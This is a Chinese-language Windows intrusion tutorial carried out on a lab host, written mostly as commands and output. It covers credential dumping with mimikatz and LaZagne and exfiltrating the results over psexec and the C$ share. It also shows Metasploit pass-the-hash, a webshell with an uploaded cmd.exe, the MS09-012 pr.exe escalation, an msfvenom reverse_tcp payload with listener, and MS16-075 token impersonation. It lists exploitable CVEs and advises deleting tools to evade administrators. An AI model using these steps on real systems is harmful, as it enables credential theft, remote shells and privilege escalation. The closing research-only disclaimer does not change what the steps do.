目录
Windows密码安全性测试
一、本地管理员密码如何直接提取
1、直接通过mimikatz读取管理员密码
2、使用laZagne工具读取管理员密码
二、利用Hash远程登录系统
window提权
三、远程webshell执行命令解决
不能执行原因:
解决方法:单独上传cmd.exe到有读写权限目录执行。
1、网站目录寻找有读写权限目录
2、上传cmd.exe到读写权限目录
四、提权
1、菜刀提权
使用MS09-012漏洞
2、msf提权
Windows密码安全性测试
一、本地管理员密码如何直接提取
需把读取管理员密码的工具上传到目标主机后(通过低权限账户访问、利用漏洞等)执行工具里的批处理脚本生成文本文件,下载文本文件获取到管理员密码。
1、直接通过mimikatz读取管理员密码
1.1使用【mimikatz】命令行工具提权:
正常情况下通过webshell上传【mimikatz】工具包,在运行批处理脚本生成读取管理员密码的文档。
此处先用命令行进行演示:
【mimikatz】放到C盘下,cmd切换到32位目录下运行mimikatz.exe:
运行步骤:
cmd切换到目录下:
cd C:\mimikatz\Win32运行程序:
mimikatz.exe提升权限privilege::debug:
mimikatz # privilege::debug
Privilege '20' OK抓取密码sekurlsa::logonpassWords:
mimikatz # sekurlsa::logonpassWords
获取到密码:
输出结果:
Authentication Id : 0 ; 80142 (00000000:0001390e)
Session : Service from 0
User Name : Administrator
Domain : OLDBOY-F74D04FE
Logon Server : OLDBOY-F74D04FE
Logon Time : 2024-5-28 21:30:53
SID : S-1-5-21-919573472-2361006267-3082311417-500msv :[00000002] Primary* Username : Administrator* Domain : OLDBOY-F74D04FE* LM : 44efce164ab921caaad3b435b51404ee* NTLM : 32ed87bdb5fdc5e9cba88547376818d4* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3fwdigest :* Username : Administrator* Domain : OLDBOY-F74D04FE* Password : 123456kerberos :* Username : Administrator* Domain : OLDBOY-F74D04FE* Password : 123456ssp :credman :
批处理方式:
新建aaa.bat批处理文件并写入123.txt文件,批处理文件内容如下:
mimikatz.exe "privilege::debug" "sekurlsa::logonpassWords" exit>123.txt
远程获取目标主机密码大致方法:
准备阶段
选择合适的工具:选择一个适合提取密码的工具,如Mimikatz。确保该工具适用于目标系统的操作系统版本。
编写批处理脚本:创建一个批处理脚本(
passwords.bat
文件),用于自动化执行密码提取和结果保存过程。例如:mimikatz.exe privilege::debug sekurlsa::logonpasswords > passwords.txt
这段脚本首先提升Mimikatz的权限,然后执行密码提取命令,并将输出重定向到
passwords.txt
文件中。上传与执行
上传工具和脚本:使用您已有的访问权限(如低权限账户、已知漏洞等),将Mimikatz可执行文件和上述批处理脚本上传到目标主机。可以使用
copy
命令(通过命令行)、SCP、SMB共享或其他文件传输方法。执行批处理脚本:
通过远程桌面、PsExec、PowerShell Remoting或计划任务等方式,远程执行上传的批处理脚本。例如,如果脚本位于C:\temp\passwords.bat
,可以通过PsExec执行:
psexec \\target_ip -u low_privilege_user -p password C:\temp\passwords.bat
psexec
: 使用PsExec工具,这是一个轻量级的telnet-replacement,可以远程执行命令行程序。\\target_ip
: 指定目标计算机的IP地址。-u low_privilege_user -p password
: 分别指定了用于远程登录目标计算机的低权限用户名和密码。C:\temp\extract_passwords.bat
: 指定在目标计算机上要执行的批处理脚本的完整路径。下载结果
- 下载密码文件:一旦批处理脚本执行完成,会在指定位置生成包含密码信息的文本文件(在这个例子中是
passwords.txt
)。使用与上传时相同或类似的方法,将此文件下载回你的工作站进行分析。
copy \\target_ip\C$\temp\passwords.txt C:\local_download\
copy
: 这是Windows命令行中用于复制文件的命令。\\target_ip\C$
: 这部分指定了网络路径,其中\\target_ip
是目标计算机的IP地址,\C$
是Windows系统默认的管理员共享,允许你访问目标计算机的C盘根目录。这要求你有相应的网络访问权限和认证信息。temp\passwords.txt
: 表示在目标计算机C盘的temp
目录下名为passwords.txt
的文件,这是你要复制的源文件。C:\local_download\
: 这是目标路径,即你希望在本地计算机上存放复制文件的位置。请确保该目录事先存在,否则命令可能会失败。清理与报告
清理痕迹:为了减少被目标系统管理员发现的风险,考虑在操作完成后删除上传的工具、脚本和生成的密码文件。
分析与报告:在安全的环境中分析下载的密码文件,提取所需信息,并根据测试或审计需求准备相应的报告。
2、使用laZagne工具读取管理员密码
cmd里切换到目录:
cd C:\lan\lan2运行:
laZagne.exe-------positional arguments:{chats,svn,all,wifi,mails,windows,database,sysadmin,browsers}Choose a main commandchats Run chats module #运行聊天模块svn Run svn module #运行SVN版本控制系统模块all Run all modules #运行所有模块wifi Run wifi module #运行无线网络相关模块mails Run mails module #运行邮件管理模块windows Run windows module #运行针对Windows系统的模块database Run database module #运行数据库操作模块sysadmin Run sysadmin module #运行系统管理员相关模块browsers Run browsers module #运行浏览器相关模块
使用所有模块:
laZagne.exe all
追加到1.txt:
laZagne.exe all >>1.txt
输出结果:
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|------------------- Windows Secrets passwords -----------------[*] Local SAM hashesPassword found !!!
Category: System account
password: 123456
user: AdministratorPassword found !!!
Category: System account
password: 123
user: 123Hashes found !!!
hashes: Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:03ebb3c522071ac94b606f483fc10157:::
IUSR_OLDBOY-F74D04FE:1003:bc210210ecc96be6fd0522aa8ea96524:23561981a86db65e75fd296999b95667:::
IWAM_OLDBOY-F74D04FE:1004:cac4a79fa775cb9b8665ee4c08ed3930:8856078abf69a2bb27f287b8afde005b:::
ASPNET:1006:31ca4e307dc8dd4939d0ac34166cf041:47acc6d9ea07e60931e2a49bb6433aae:::
123:1015:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::[+] 3 passwords have been found.
For more information launch it again with the -v optionelapsed time = 0.483999967575
批处理方式:
--新建aaa.bat批处理文件并写入123.txt文件,批处理文件内容如下:
laZagne.exe all exit>123.txt
有明文密码和哈希值密码,哈希值密码可通过cmd5在线平台尝试解密:cmd5
也可通过哈希值直接远程攻击。(见下)
二、利用Hash远程登录系统
结合【laZagne】工具获取到的管理员密码哈希值远程登陆系统
使用低版本kali【kali-2.0】;高版本不行
【laZagne】工具获取到的管理员密码哈希值:
44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
打开kali2.0,主要通过MSF提供的exploit/windows/smb/psexec 模块来完成。
建立远程登录并执行操作系统命令步骤:
使用msf工具:
root@kali:~# msfconsole 选择exploit模块:
msf > use exploit/windows/smb/psexec查看配置选项:
msf exploit(psexec) > show options 设置目标IP地址:
msf exploit(psexec) > set RHOST 10.0.0.101设置SMB用户名:
msf exploit(psexec) > set SMBUser administrator设置SMB密码(哈希值):
msf exploit(psexec) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4再次查看配置以确认:
msf exploit(psexec) > show options 执行攻击载荷(也可使用exploit):
msf exploit(psexec) > run获得Meterpreter会话并切换到目标系统的命令行:
meterpreter > shell执行操作系统命令:
c:\Windows\system32>whoami
详细步骤:
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec):Name Current Setting Required Description---- --------------- -------- -----------RHOST yes The target addressRPORT 445 yes Set the SMB service portSERVICE_DESCRIPTION no Service description to to be used on target for pretty listingSERVICE_DISPLAY_NAME no The service display nameSERVICE_NAME no The service nameSHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder shareSMBDomain WORKGROUP no The Windows domain to use for authenticationSMBPass no The password for the specified usernameSMBUser no The username to authenticate asExploit target:Id Name-- ----0 Automaticmsf exploit(psexec) > set RHOST 10.0.0.101
RHOST => 10.0.0.101
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator
msf exploit(psexec) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPass => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec):Name Current Setting Required Description---- --------------- -------- -----------RHOST 10.0.0.101 yes The target addressRPORT 445 yes Set the SMB service portSERVICE_DESCRIPTION no Service description to to be used on target for pretty listingSERVICE_DISPLAY_NAME no The service display nameSERVICE_NAME no The service nameSHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder shareSMBDomain WORKGROUP no The Windows domain to use for authenticationSMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 no The password for the specified usernameSMBUser administrator no The username to authenticate asExploit target:Id Name-- ----0 Automaticmsf exploit(psexec) > run[*] Started reverse handler on 10.0.0.109:4444
[*] Connecting to the server...
[*] Authenticating to 10.0.0.101:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created \UiDdhSlk.exe...
[+] 10.0.0.101:445 - Service started successfully...
[*] Sending stage (885806 bytes) to 10.0.0.101
[*] Deleting \UiDdhSlk.exe...
[*] Meterpreter session 1 opened (10.0.0.109:4444 -> 10.0.0.101:3082) at 2024-06-14 15:50:18 +0800meterpreter > shell
Process 14176 created.
Channel 1 created.
Microsoft Windows [°汾 5.2.3790]
(C) °爨̹Ԑ 1985-2003 Microsoft Corp. ' ²»ˇŚ²¿»¿ļ®£¬Ҳ²»ˇ¿ʔ̐еij͐ c:\Windows\system32>whoami
whoami
nt authority\systemc:\Windows\system32>
window提权
三、远程webshell执行命令解决
phpstudy运行为管理员运行,iis中间件运行为普通用户运行。
网站权限:网站一般不会设置写入权限,脚本执行权限默认为开启状态。
images图片目录一定会给写入权限 ,但要注意脚本执行权限关闭(无)
本次验证xy网站给的所有权限,且为默认IUSR用户
利用漏洞上传一句话木马到iis网站根目录,菜刀连接可以连接查看目录:
http://10.0.0.101:86/123.asp
但是远程不能执行系统命令:
说明:xy网站设置的为所有权限,根据权限的继承性,上传的文件会继承xy文件夹的权限;即便是(IUSR用户)所有权限也无法远程执行操作系统命令。
不能执行原因:
远程执行操作系统命令需调用目标主机系统的cmd.exe程序,cmd.exe无IUSE用户没有权限。
解决方法:单独上传cmd.exe到有读写权限目录执行。
1、网站目录寻找有读写权限目录
上传可检测网站读写权限的小马(通过漏洞方式,此处演示直接上传)
http://10.0.0.101:86/11.asp
2、上传cmd.exe到读写权限目录
菜刀上传到有权限目录;
3、菜刀执行命令设置调用上传的cmd.exe进行执行:
setp C:\lan\lan2\cmd.exe
C:\wwwtest\1111\wwwwtest\XYCMS\> netstat -an | find "ESTABLISHED"
[Err] 拒绝访问。C:\wwwtest\1111\wwwwtest\XYCMS\> whoami
[Err] 拒绝访问。C:\wwwtest\1111\wwwwtest\XYCMS\> setp C:\lan\lan2\cmd.exe
设置终端路径为:C:\lan\lan2\cmd.exeC:\wwwtest\1111\wwwwtest\XYCMS\> whoami
nt authority\network service(成功执行)
(还是普通用户,可以执行命令)
四、提权
提权常用命令
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP
ipconfig /all net user——查看当前用户情况
netstat ——查看当前网络连接情况 netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况
tasklist /svc taskkill ——结束进程
taskkill -PID xx net start ——启动服务
net stop ——停止服务
常用提权exploits(漏洞利用)
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
CVE-2017-8464[LNKRemoteCodeExecutionVulnerability](windows10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2)
MS09-050 [KB975517][Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067[KB958644][RemoteCodeExecution](Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066 [] [] (Windows 2000/XP/Server 2003)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
已对外公开提权exploits(漏洞利用):
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
1、菜刀提权
使用MS09-012漏洞
1.1查看是否打相关漏洞补丁
注意:使用漏洞编号要先确认目标主机是否已打此漏洞补丁;
systeminfo 查看操作系统,补丁情况
MS09-012补丁编号为KB952004;此演示目标主机为打此漏洞补丁
----------------
1.2打开下载的MS09-012漏洞工具(https://github.com/SecWiki/windows-kernel-exploits);把文件中的pr.exe上传用菜刀上传到权限目录;使用pr.exe程序执行命令即可提权
步骤:
1、打开MS09-012文件夹,选择pr.exe;
2、菜刀打开权限目录右击上传pr.exe到目标主机:
3、打开菜刀模拟终端,切换到上传目录,pr.exe执行命令进行提权:
cd C:\lan\lan2pr.exe "whoami"
C:\wwwtest\1111\wwwwtest\XYCMS\> cd C:\lan\lan2
C:\lan\lan2\> pr.exe "whoami"
/xxoo/-->Build&&Change By p
/xxoo/-->This exploit gives you a Local System shell
/xxoo/-->Got WMI process Pid: 6744
begin to try
/xxoo/-->Found token SYSTEM
/xxoo/-->Command:whoami
nt authority\system(成功提权)
提权成功:
可添加用户
2、msf提权
kali2022生成木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.200 LPORT=4444 -f exe -o lan.exe
注解:
msfvenom: Metasploit框架中的组件,用于生成各种类型的payload,支持多种平台和格式。
-p: 指定要使用的payload类型;
windows/meterpreter/reverse_tcp
,意味着生成的payload会在目标Windows系统上运行,建立一个反向TCP连接到攻击者的机器。LHOST=192.168.0.107: 设置监听payload连接的本地主机IP地址
LPORT=4444: 设置监听的端口号
-f exe: 指定输出格式为可执行文件(
.exe
),这意味着生成的payload将是一个可以直接在Windows系统上运行的可执行文件。-o lan.exe: 指定输出文件名为
lan.exe
,即生成的恶意payload将被保存为这个名字的文件。
下载生成的木马:
xshell输入命令:sz lan.exe
上传到目标主机权限目录下:
kali本地监听:
┌──(root㉿oldboy)-[~]
└─# msfconsole msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 10.0.0.200
lhost => 10.0.0.200msf6 exploit(multi/handler) > show options msf6 exploit(multi/handler) > exploit meterpreter >
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.200 (监听payload连接的本地主机IP地址;kali)
show options
exploit
菜刀模拟终端利用上传的cmd.exe执行木马文件:
C:\wwwtest\1111\wwwwtest\XYCMS\> setp C:\lan\lan2\cmd.exe (调用上传的cmd.exe执行命令)
设置终端路径为:C:\lan\lan2\cmd.exeC:\wwwtest\1111\wwwwtest\XYCMS\> cd C:\lan\lan2\ (切换到木马文件目录下)
C:\lan\lan2\> whoami
nt authority\network service (普通用户)
C:\lan\lan2\> lan.exe (执行木马)
Run command [lan.exe] failed!
成功本地监听:
查看当前权限:
会话后台运行,返回MSF控制台:background
使用漏洞提权:
如:烂土豆提权(ms16-075)
msf6 > search MS16-075msf6 > use 0msf6 exploit(windows/local/ms16_075_reflection) > show optionsmsf6 exploit(windows/local/ms16_075_reflection) > sessions -imsf6 exploit(windows/local/ms16_075_reflection) > set session 2msf6 exploit(windows/local/ms16_075_reflection) > exploitmeterpreter > getuid
产生第三个会话;未能提升权限;通过窃取令牌,模仿令牌解决烂土豆未提升权限
再list_tokens -u(访问的所有用户令牌信息)看一下, 可以看到当前是有了一个SYSTEM权限的模仿令牌
meterpreter > use incognitometerpreter > list_tokens -u
执行偷取窃取令牌命令:
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
getuid看下自己的当前用户ID,可以看到是SYSTEM 。使用shell命令获得一个交互式cmd shell:
(shell未能进入目标主机命令行,ps查看进程使用migrate进程迁移重新进入命令行)
meterpreter > getuidmeterpreter > shell
--------------------------------meterpreter > shellmeterpreter > psmeterpreter > migrate 6876meterpreter > shell
提权完成
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。